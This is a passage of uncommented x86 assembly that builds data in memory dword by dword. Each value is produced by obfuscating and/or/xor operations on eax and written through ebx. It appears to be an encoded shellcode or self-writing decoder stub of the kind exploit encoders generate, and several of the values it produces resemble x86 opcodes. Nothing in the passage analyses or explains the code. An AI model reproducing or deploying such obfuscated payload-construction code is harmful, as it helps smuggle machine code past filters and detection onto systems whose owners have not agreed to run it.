or eax, 0x1bffc3f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19b2c60d
and eax, 0x8000000
or eax, 0xe3000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2396b39e
and eax, 0x4884830a
or eax, 0x24014400
mov dword [ebx], eax
add ebx, edx
and eax, 0x29613178
or eax, 0xc5e7dc2
and eax, 0x5f7dca
or eax, 0xa08235
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d80eca6
xor eax, 0x443457dd
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d03860c
and eax, 0xe2038004
or eax, 0x8807051
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23d807e2
xor eax, 0x42ce9218
and eax, 0x80150101
or eax, 0x70408800
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d3b3ddb
and eax, 0x2170058b
or eax, 0x2804000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d9a8561
or eax, 0x1ce960b2
and eax, 0x3df96481
or eax, 0xc2060804
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e8506f5
and eax, 0xa010485
or eax, 0x812a717a
mov dword [ebx], eax
add ebx, edx
or eax, 0x770c15db
or eax, 0x65918a13
and eax, 0xe983fc4d
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ba826b5
and eax, 0xa0098800
or eax, 0x5c440101
mov dword [ebx], eax
add ebx, edx
and eax, 0x670fc135
xor eax, 0x1748385a
and eax, 0x3300110b
or eax, 0x8b84480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x174794ca
and eax, 0x87dc041
or eax, 0x3003c14
mov dword [ebx], eax
add ebx, edx
or eax, 0x428fdf0
and eax, 0x3444581
or eax, 0x2080000a
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e8b8350
and eax, 0x50bc041
or eax, 0x40300804
mov dword [ebx], eax
add ebx, edx
and eax, 0x732a0f5b
and eax, 0x1f03c547
and eax, 0x1020040
or eax, 0x8a0d7cb4
mov dword [ebx], eax
add ebx, edx
or eax, 0x38435d0e
and eax, 0x60e92952
and eax, 0x90840
or eax, 0x4d02c40d
mov dword [ebx], eax
add ebx, edx
or eax, 0x343bb41c
and eax, 0x68093854
or eax, 0x804403a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x5786d096
and eax, 4
or eax, 0xc38d0b
mov dword [ebx], eax
add ebx, edx
and eax, 0x29ab78cb
and eax, 0x830000
or eax, 0x55080000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x416b2f38
and eax, 0x14402b00
or eax, 0xe81510c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6953849f
and eax, 0x85060c59
or eax, 0xc10024
mov dword [ebx], eax
add ebx, edx
xor eax, 0x645531df
and eax, 0x4b66772
and eax, 0x922520
or eax, 0xff6dda48
mov dword [ebx], eax
add ebx, edx
or eax, 0x59c751f6
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0xe659dba
and eax, 0x44508ab
or eax, 0x81820240
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a50cd4
and eax, 0x1850840
or eax, 0xfe7af728
mov dword [ebx], eax
add ebx, edx
and eax, 0x4447426f
or eax, 0x2bec29af
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x2deafa99
and eax, 0
or eax, 0xbf0458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e09e24c
or eax, 0xe788bdf
and eax, 0x4ff96885
or eax, 0xb0060000
mov dword [ebx], eax
add ebx, edx
and eax, 0x449936a0
or eax, 0x1f68e2a3
and eax, 0x168002a3
or eax, 0x80040d5c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cad1383
and eax, 0x8a000000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11f0ce4b
xor eax, 0x124d4293
and eax, 0x8018c48
or eax, 0x45026005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x442817b
and eax, 0x8000d30
or eax, 0x82840288
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3cccf8bd
and eax, 0x82000000
or eax, 0x9000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ea7388f
and eax, 0x45231005
or eax, 0x1000c450
mov dword [ebx], eax
add ebx, edx
and eax, 0x7195c546
and eax, 0x50010040
or eax, 0x8c543b88
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b81eebf
and eax, 0x45817f7d
or eax, 0xa0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f53e052
xor eax, 0x33edfd7c
and eax, 0x64441900
or eax, 0x800122d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x50357b6a
or eax, 0x452732ae
and eax, 0x4503737c
or eax, 0x8880401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3331e988
or eax, 0x25ce30bd
and eax, 0x404c3aac
or eax, 0x80010100
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d1d045e
and eax, 0x55092f7c
or eax, 0x824001
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ee9218
and eax, 0x290df6d2
and eax, 0x53240
or eax, 0xf8500980
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b71b151
and eax, 0x41013251
or eax, 0x48a002c
mov dword [ebx], eax
add ebx, edx
and eax, 0x2075687f
and eax, 0x7c
or eax, 0x1e88380
mov dword [ebx], eax
add ebx, edx
or eax, 0x6635b49f
xor eax, 0x2b1b7823
and eax, 0x8e44588
or eax, 0x83180001
mov dword [ebx], eax
add ebx, edx
and eax, 0x3164e317
and eax, 0x1004001
or eax, 0x8c89ac4c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a0e247b
and eax, 0xb787c800
or eax, 0x48783600
mov dword [ebx], eax
add ebx, edx
and eax, 0x741112fd
and eax, 0x101000
or eax, 0x89ec458b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x628f67f7
or eax, 0x50804548
and eax, 0xfbf17414
or eax, 0x40c8881
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e12e0da
and eax, 0xc045084f
or eax, 0x2c0083b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61a8130e
and eax, 0x14ae6f5f
and eax, 0x801
or eax, 0x8901e082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c8bbb2
and eax, 0x3af1dc12
and eax, 0x8814000
or eax, 0x850aac45
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cdb606a
xor eax, 0xe442d3b
and eax, 0x2cf4c00
or eax, 0xfd30b200
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cfbfe4b
xor eax, 0xfbbd060
and eax, 0x41400c20
or eax, 0xbcbc811b
mov dword [ebx], eax
add ebx, edx
xor eax, 0xaa56872
and eax, 0x358e549
or eax, 0x8241ab6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1227cdd1
xor eax, 0x5a698013
and eax, 0x3201009
or eax, 0xc84582
mov dword [ebx], eax
add ebx, edx
or eax, 0x54bf5ba1
and eax, 0x399afefa
and eax, 0x111a5c00
or eax, 0x44218055
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc67ccf5
or eax, 0x637df4de
and eax, 0xb2874bc
or eax, 0x80020900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71924f98
or eax, 0x28c78198
and eax, 0x403ba004
or eax, 0x5004c41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51f84b1e
and eax, 0x2518
or eax, 0x8b0858a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a2baf35
and eax, 0x1239009
or eax, 0x4c182444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5177e35c
and eax, 0x7f8c70d2
and eax, 0x8005010
or eax, 0x83112cc8
mov dword [ebx], eax
add ebx, edx
and eax, 0x43296681
and eax, 0x2cf5157a
and eax, 0x10400
or eax, 0xc282f855
mov dword [ebx], eax
add ebx, edx
or eax, 0x115d7753
or eax, 0x790d74dd
and eax, 0xf8558901
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f8cdbfb
and eax, 0x13d8408a
or eax, 0x28240501
mov dword [ebx], eax
add ebx, edx
and eax, 0x17fdef68
and eax, 0x17c4400
or eax, 0x8019045
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a924902
or eax, 0x60ccd46
and eax, 0x3c44d03
or eax, 0x80000088
mov dword [ebx], eax
add ebx, edx
xor eax, 0x398ff891
and eax, 0x8090100
or eax, 0x458000c1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b9bdab5
or eax, 0x19695137
and eax, 0x518b44
or eax, 0xc0040080
mov dword [ebx], eax
add ebx, edx
or eax, 0x3864afd9
and eax, 0x88018281
or eax, 0x1004002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2af55853
xor eax, 0x2c5f4211
and eax, 0x58bc041
or eax, 0x40000014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x147697af
and eax, 0x1e803f0
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c7732c0
and eax, 0x32cb7190
and eax, 0xc00180
or eax, 0xe9304409
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd9c33df
and eax, 0xe46c7456
or eax, 0x1b938888
mov dword [ebx], eax
add ebx, edx
or eax, 0x74c07518
xor eax, 0x13939b17
and eax, 0xa84c2609
or eax, 0x1019006
mov dword [ebx], eax
add ebx, edx
and eax, 0x44c28a46
xor eax, 0x192a1881
and eax, 0xa8885
or eax, 0x84054100
mov dword [ebx], eax
add ebx, edx
or eax, 0x145ed010
xor eax, 0x56ec924
and eax, 0x90
or eax, 0x308
mov dword [ebx], eax
add ebx, edx
or eax, 0x6eb2f4dd
and eax, 0x10bb5702
and eax, 0x101600
or eax, 0xab45a00f
mov dword [ebx], eax
add ebx, edx
or eax, 0xb9959ec
and eax, 0x810dd285
or eax, 0x4020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fd3a746
and eax, 0x180
or eax, 0x20c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4840f69b
and eax, 0x840b407
or eax, 0xa2050208
mov dword [ebx], eax
add ebx, edx
and eax, 0x280a7c3a
and eax, 0
or eax, 0x840fc085
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b5a8023
and eax, 0x3c637f3d
and eax, 0
or eax, 0x380
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b9768c8
or eax, 0x34759bea
and eax, 0x1f0498a
or eax, 0x80000401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11f1fe8e
or eax, 0x10f32990
and eax, 0x809b81
or eax, 0x4068
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4edc168e
and eax, 0xb684aec
and eax, 0x480800
or eax, 0xf0058100
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e440040
or eax, 0x733d6421
and eax, 0x3444401
or eax, 0x80118a
mov dword [ebx], eax
add ebx, edx
or eax, 0x27494a62
xor eax, 0x75902e20
and eax, 0x50097041
or eax, 0x5808014
mov dword [ebx], eax
add ebx, edx
or eax, 0x29bb2119
and eax, 0x909e144
or eax, 0x82000a80
mov dword [ebx], eax
add ebx, edx
and eax, 0x538dfce3
and eax, 0x1c040
or eax, 0xc0820405
mov dword [ebx], eax
add ebx, edx
and eax, 0x19f1e1d3
and eax, 0x18001
or eax, 0xc4440900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2361b2ed
xor eax, 0x2ea42ec
and eax, 0x21c44900
or eax, 0x1a00048b
mov dword [ebx], eax
add ebx, edx
or eax, 0x38cc6f25
and eax, 0x90c240d
or eax, 0x84039040
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cfb1309
xor eax, 0x1ee94412
and eax, 0xa
or eax, 0x340
mov dword [ebx], eax
add ebx, edx
or eax, 0x67b2520c
and eax, 0x190510a
or eax, 0x88400481
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ecd72bd
xor eax, 0x7f3ee77b
and eax, 0xe0e19084
or eax, 0x1f1c6811
mov dword [ebx], eax
add ebx, edx
or eax, 0x69024e6c
and eax, 0xc8458afd
or eax, 0x102
mov dword [ebx], eax
add ebx, edx
and eax, 0x51476225
and eax, 0x40440001
or eax, 0xbdb08588
mov dword [ebx], eax
add ebx, edx
and eax, 0x63a8e1bd
and eax, 0x41808189
or eax, 0xc0b7e76
mov dword [ebx], eax
add ebx, edx
xor eax, 0x638bcdb9
and eax, 0x6f07363a
and eax, 0x200
or eax, 0x1e981d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2dad014e
and eax, 0x9c00188
or eax, 0x82104c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2cf4526f
or eax, 0x58c9fec4
and eax, 0xffedf884
or eax, 0x100011
mov dword [ebx], eax
add ebx, edx
or eax, 0x77a1ec78
and eax, 0xf49538fd
or eax, 0x302
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24cba40e
xor eax, 0x5f5e770c
and eax, 0xc00e8fd
or eax, 0x70ff1700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3528ba14
xor eax, 0x5fcdf90c
and eax, 0x4008800
or eax, 0xe0450308
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1507b93f
and eax, 0x70000023
or eax, 0x4b04500
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ccb4d91
xor eax, 0x37868661
and eax, 0x20048300
or eax, 0x8c490809
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6bf8103c
and eax, 0x81018901
or eax, 0x8006082
mov dword [ebx], eax
add ebx, edx
and eax, 0x57b12720
and eax, 0x46f155e7
and eax, 0x10000
or eax, 0x558aac4d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3476a0f3
and eax, 0x60550894
or eax, 0x90003340
mov dword [ebx], eax
add ebx, edx
or eax, 0x26510eab
and eax, 0x4401227d
or eax, 0x18a4000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b41fb25
xor eax, 0x46626db1
and eax, 0x18082c4
or eax, 0x400120
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e0a29c9
xor eax, 0x9b331ea
and eax, 0x2600181
or eax, 0x89844408
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e25d773
and eax, 0xd21c449
or eax, 0x401a2004
mov dword [ebx], eax
add ebx, edx
or eax, 0x6970b009
xor eax, 0x3dc362fa
and eax, 0x40081480
or eax, 0x87046948
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19d0b47d
and eax, 0xdedc4085
or eax, 0x21232400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f099418
and eax, 0x38b04a26
and eax, 4
or eax, 0x1fb
mov dword [ebx], eax
add ebx, edx
or eax, 0x3188212
or eax, 0x2941ac64
and eax, 0x308ab00
or eax, 0xc4024000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61cfdf0f
or eax, 0x4a37123d
and eax, 0xeef72405
or eax, 0x11084080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d3688e9
and eax, 0x147f3afb
and eax, 0x68
or eax, 0x97
mov dword [ebx], eax
add ebx, edx
or eax, 0x28bfe07
xor eax, 0x4c99d5cf
and eax, 0xc100b00
or eax, 0xb0458000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3edbc029
and eax, 0x434cdbb5
and eax, 0x4a01
or eax, 0x8901a082
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fb89976
xor eax, 0x4ed3665b
and eax, 0x4583ac51
or eax, 0x81004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x364a1d26
and eax, 0x60810130
or eax, 0x4040a8c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76a3c8b0
and eax, 0x1026c30c
or eax, 0x64d93cf3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ba341ab
and eax, 0x544c8a04
or eax, 0xa0010123
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a93ccc3
or eax, 0x11e3db56
and eax, 0x89b84d33
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x18f63b1b
and eax, 0x99fc7009
or eax, 0x66018084
mov dword [ebx], eax
add ebx, edx
and eax, 0x696c5ade
xor eax, 0x9f316ed
and eax, 0x60150261
or eax, 0x9440899e
mov dword [ebx], eax
add ebx, edx
and eax, 0x761c002d
and eax, 1
or eax, 0x8901c282
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bb291d3
and eax, 0x9008001
or eax, 0xb4837454
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bd8329e
or eax, 0x10e3bd80
and eax, 0xfffbfdd0
or eax, 0x40020
mov dword [ebx], eax
add ebx, edx
or eax, 0x6180f55e
xor eax, 0x688e5b3e
and eax, 0x83012400
or eax, 0x8085000
mov dword [ebx], eax
add ebx, edx
or eax, 0x45296992
and eax, 0x1ff8ce4f
and eax, 0x8004c00
or eax, 0xe0839045
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f5d405e
xor eax, 0x57543506
and eax, 0x98018901
or eax, 0x44440000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57a5753c
and eax, 0x89c04c09
or eax, 0x1c0182
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c0c7e30
and eax, 0xdddc6c89
or eax, 0x22218004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5326e3f3
xor eax, 0x1db8633f
and eax, 0xa0410841
or eax, 0x441483be
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fd495fe
xor eax, 0x77b25d4b
and eax, 0x11e09481
or eax, 0xec080108
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a83be32
and eax, 0x40809400
or eax, 0x50b6bff
mov dword [ebx], eax
add ebx, edx
or eax, 0x615cd04e
and eax, 0x1c083e4
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x559afa08
and eax, 0x404188
or eax, 0x8ba40401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51280c25
xor eax, 0x7c93e632
and eax, 0xa65dac8c
or eax, 0x59a04001
mov dword [ebx], eax
add ebx, edx
and eax, 0x2dcb4ef3
and eax, 0x28890881
or eax, 0xc004337e
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c195239
xor eax, 0x3997bb6b
and eax, 0x550ac094
or eax, 0x28f53f69
mov dword [ebx], eax
add ebx, edx
or eax, 0x545934d4
and eax, 0x58558b20
or eax, 0x80000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58b36477
and eax, 0x8000c201
or eax, 0x9010082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66c607ef
and eax, 0x4583c044
or eax, 0x81811
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c4d41eb
and eax, 0x584519b0
or eax, 0x80002200
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b9eb568
and eax, 0x498b1178
or eax, 0x4000005
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa8a5f97
or eax, 0x5fe26b43
and eax, 0x50412ba8
or eax, 0x800c1010
mov dword [ebx], eax
add ebx, edx
or eax, 0x10572edd
or eax, 0x6c3e4a69
and eax, 0x540b097d
or eax, 0x1800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bcd6306
and eax, 0x5067ae4e
and eax, 0
or eax, 0x1ea83e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x54908398
and eax, 0x800188
or eax, 0x8b685401
mov dword [ebx], eax
add ebx, edx
and eax, 0x481a5d90
or eax, 0x68219f56
and eax, 0x4001d844
or eax, 0x80820001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42df65dd
xor eax, 0x1a9800cc
and eax, 0x98448900
or eax, 0x40010001
mov dword [ebx], eax
add ebx, edx
and eax, 0x148d48b8
xor eax, 0x6fb739e5
and eax, 0x3ba00181
or eax, 0xc4c0a
mov dword [ebx], eax
add ebx, edx
or eax, 0x2842b73
and eax, 0x2d0a8439
and eax, 0x8080009
or eax, 0x75d844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x594773c7
xor eax, 0x5c2ea98c
and eax, 0x9000002
or eax, 0x32e85589
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bbf68f
or eax, 0x3cb250ed
and eax, 0x30385045
or eax, 0x144a810
mov dword [ebx], eax
add ebx, edx
or eax, 0x4713960
and eax, 0x317c4101
or eax, 0xa80048a
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fa7e85b
and eax, 0x29240001
or eax, 0x58b844
mov dword [ebx], eax
add ebx, edx
and eax, 0x29018f8b
xor eax, 0x391d3295
and eax, 0x10000880
or eax, 0x2be0450b
mov dword [ebx], eax
add ebx, edx
or eax, 0x36cb2922
and eax, 0xc696409
or eax, 0x149044
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cb1cfdb
and eax, 0x2c6085c7
or eax, 0xd3000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2cb8d1c8
and eax, 0x540f
or eax, 0x1abf0
mov dword [ebx], eax
add ebx, edx
and eax, 0xe352863
and eax, 0x2563924e
and eax, 0x10000
or eax, 0xaea0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e9dd3ab
xor eax, 0x681052aa
and eax, 0x6608101
or eax, 0xf90004c6
mov dword [ebx], eax
add ebx, edx
and eax, 0x3343dcfb
and eax, 0x84c3
or eax, 0x7b3c
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c8edc5c
and eax, 0x71a2d83b
and eax, 0x50820000
or eax, 0x5090000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4633a59e
and eax, 0x40912180
or eax, 0x20040240
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d27a025
and eax, 0x74b7a3e5
or eax, 0x485c1a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c17a79f
and eax, 0x57f497c6
and eax, 0x400040
or eax, 0xcc058b2e
mov dword [ebx], eax
add ebx, edx
or eax, 0x794ce3c5
and eax, 0x14671923
and eax, 0x14440101
or eax, 0xe9a08488
mov dword [ebx], eax
add ebx, edx
and eax, 0x777aeecb
and eax, 0x23d48b9c
and eax, 0x1008088
or eax, 0x4c8b7f77
mov dword [ebx], eax
add ebx, edx
and eax, 0x27027889
and eax, 0x888
or eax, 0xe08d8134
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a14deea
and eax, 0x488a8
or eax, 0x8bfb7755
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c6d51f7
and eax, 0x8011055
or eax, 0xe282ac00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2eddc141
or eax, 0x5a9d9d86
and eax, 0x9c558900
or eax, 0x20000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19b676a6
and eax, 0xa5e08583
or eax, 0x58040008
mov dword [ebx], eax
add ebx, edx
and eax, 0x50e7e735
and eax, 0x208501
or eax, 0x851b7afe
mov dword [ebx], eax
add ebx, edx
and eax, 0x46784421
and eax, 0x4384420
or eax, 0xfbc7b9c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x58753054
xor eax, 0x40f81fbf
and eax, 0x8892c7c
or eax, 0x45021000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x725ea1fc
and eax, 0x38450180
or eax, 0x80082260
mov dword [ebx], eax
add ebx, edx
and eax, 0x34506059
or eax, 0x12b1c5e4
and eax, 0x10812464
or eax, 0x450a1011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x376af25a
xor eax, 0x3ea0294a
and eax, 0xc410344
or eax, 0xa0140098
mov dword [ebx], eax
add ebx, edx
or eax, 0x2eee214b
and eax, 0xacdc0189
or eax, 0x51009400
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b561d4c
and eax, 0x41001508
or eax, 0x48beaf7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3103186f
and eax, 0x808390
or eax, 0x140004c
mov dword [ebx], eax
add ebx, edx
and eax, 0x65e1cd56
and eax, 0x1c00100
or eax, 0x821c4489
mov dword [ebx], eax
add ebx, edx
or eax, 0x4dfbfcac
and eax, 0xcffddcad
or eax, 0x30000010
mov dword [ebx], eax
add ebx, edx
and eax, 0x48c48def
xor eax, 0x6486f7d0
and eax, 0xc40007d
or eax, 0x13340082
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fbbcb9e
and eax, 0x310008a
or eax, 0xc84d01
mov dword [ebx], eax
add ebx, edx
or eax, 0x62c97d7b
xor eax, 0x2b6c4af1
and eax, 0x48313008
or eax, 0x50ac045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d30e4ba
and eax, 0x14f4
or eax, 0x8b146900
mov dword [ebx], eax
add ebx, edx
or eax, 0x3fb40549
and eax, 0x15007455
or eax, 0x40038000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f10f5fa
and eax, 0x401101ac
or eax, 0xa4443a50
mov dword [ebx], eax
add ebx, edx
or eax, 0x302ccbf5
and eax, 0x4409097d
or eax, 0x1820000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x213812a5
xor eax, 0x47089ba6
and eax, 0x1a88070
or eax, 0x400380
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59c48d27
and eax, 0x8200481
or eax, 0x83d04108
mov dword [ebx], eax
add ebx, edx
or eax, 0x15d1aebd
and eax, 0x5639768b
and eax, 0x16409
or eax, 0xc1828844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7309d6e6
xor eax, 0x48a84103
and eax, 0xe8000900
or eax, 0x44d8001
mov dword [ebx], eax
add ebx, edx
or eax, 0x51531b52
or eax, 0x3ad212b9
and eax, 0x3d8118b
or eax, 0x4400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d29fc00
and eax, 0x4cdada77
and eax, 0x4108801
or eax, 0x512b7454
mov dword [ebx], eax
add ebx, edx
and eax, 0x1279931c
xor eax, 0x379e0c57
and eax, 0x3001c00
or eax, 0x881860b8
mov dword [ebx], eax
add ebx, edx
and eax, 0x6160904d
xor eax, 0x4890ae8f
and eax, 0x4110b405
or eax, 0x42b4040
mov dword [ebx], eax
add ebx, edx
or eax, 0x7047c393
or eax, 0x5478bbb5
and eax, 0x1107cb0
or eax, 0x8a000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ae7889a
xor eax, 0x19b7ac6b
and eax, 0x3078441
or eax, 0xac08500c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x311ea191
or eax, 0x60895ba9
and eax, 0x4c194c4d
or eax, 0x1228000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3981ddf4
and eax, 0x1600e17b
and eax, 0x40
or eax, 0x918d0fa4
mov dword [ebx], eax
add ebx, edx
or eax, 0x963e22f
or eax, 0x55e3388f
and eax, 0x89000000
or eax, 0x2000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7eb25849
xor eax, 0x4570b54e
and eax, 0x1002e005
or eax, 0x45391050
mov dword [ebx], eax
add ebx, edx
and eax, 0x3928567d
and eax, 0x1080044
or eax, 0x84850fa0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3fd343ad
or eax, 0x764998bd
and eax, 0x8a000000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x28c8637b
xor eax, 0x46fe977a
and eax, 0x48829440
or eax, 0xa0012805
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c91935f
and eax, 0x28018001
or eax, 0x94440900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56fb0040
xor eax, 0x11622b28
and eax, 0x3b9c0009
or eax, 0x204d82
mov dword [ebx], eax
add ebx, edx
or eax, 0x77b2c9b9
and eax, 0x3fbc476a
and eax, 0x343c4008
or eax, 0x40419045
mov dword [ebx], eax
add ebx, edx
and eax, 0x7bf17ceb
xor eax, 0x696af964
and eax, 0x19080109
or eax, 0x22c05482
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51766333
and eax, 0x6e39181a
and eax, 0x68381010
or eax, 0x445cc45
mov dword [ebx], eax
add ebx, edx
or eax, 0xd1b4284
or eax, 0x1c3ff16c
and eax, 0x21384589
or eax, 0x2800002
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c1ee006
and eax, 0x184000
or eax, 0x45239445
mov dword [ebx], eax
add ebx, edx
or eax, 0x49085ef3
and eax, 0x9215ce0
or eax, 0x82402108
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c2f8696
and eax, 0xd0bd44c
or eax, 0x40000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x58493d67
and eax, 0x900754c
or eax, 0x82340080
mov dword [ebx], eax
add ebx, edx
or eax, 0x5dc67c2b
and eax, 0x95804045
or eax, 0x98010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x471baa89
and eax, 0xd29268d8
or eax, 0x2d6d9500
mov dword [ebx], eax
add ebx, edx
and eax, 0x53bef14
xor eax, 0x39e7e5b3
and eax, 0x8d00083
or eax, 0x81204508
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5bb227de
xor eax, 0x1dbbcf95
and eax, 0xcff98480
or eax, 0x30045005
mov dword [ebx], eax
add ebx, edx
and eax, 0x42622b2b
or eax, 0x6fab1f57
and eax, 0x40490b57
or eax, 0x800480a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33f94414
and eax, 0x640d7c95
and eax, 0x4881
or eax, 0x8901a102
mov dword [ebx], eax
add ebx, edx
or eax, 0x3fbfee5c
or eax, 0x56670ff
and eax, 0x958bc04d
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x724a6d3b
and eax, 0xe7c1ad50
or eax, 0x183e5088
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21c8227b
and eax, 0xdc149523
or eax, 0x21c00018
mov dword [ebx], eax
add ebx, edx
or eax, 0xb634238
xor eax, 0x81384c4
and eax, 0x306453ff
or eax, 0x19ac00
mov dword [ebx], eax
add ebx, edx
